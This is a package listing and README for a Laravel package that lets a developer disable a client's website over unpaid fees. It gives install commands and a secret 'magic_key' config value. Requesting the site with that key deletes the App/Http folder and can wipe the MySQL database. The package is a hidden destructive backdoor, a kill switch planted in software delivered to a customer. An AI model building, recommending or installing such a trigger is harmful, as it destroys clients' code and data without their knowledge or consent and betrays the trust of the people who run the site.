webpajooh / laravel-repoman
Set a payment deadline for the customer
v1.1.0
2021-02-27 18:04 UTC
Requires
- php: >=7.0.0
- laravel/framework: 6.*|7.*|8.*|9.*
README
Suppose the customer has not paid and you want to deactivate the site if the deadline is reached and he does not pay!
How to
- Install
composer require webpajooh/laravel-repoman
- Publish repoman.php
php artisan vendor:publish
- Edit config/repoman.php
Magic key
There is a magic_key
option in the configuration file that is commented by default:
'magic_key' => 'Lbs96hv7Fzn28QLSXaIKtAXwlHSDU'
You can change the value, and use it when you want:
example.com/?magic_key=Lbs96hv7Fzn28QLSXaIKtAXwlHSDU
If we send a request to this link, we will lose the App/Http folder! What about the database? Uncomment empty_database
, and the package will fresh the database after creating a backup into storage/app
directory. Consider that we only support MySQL at the moment.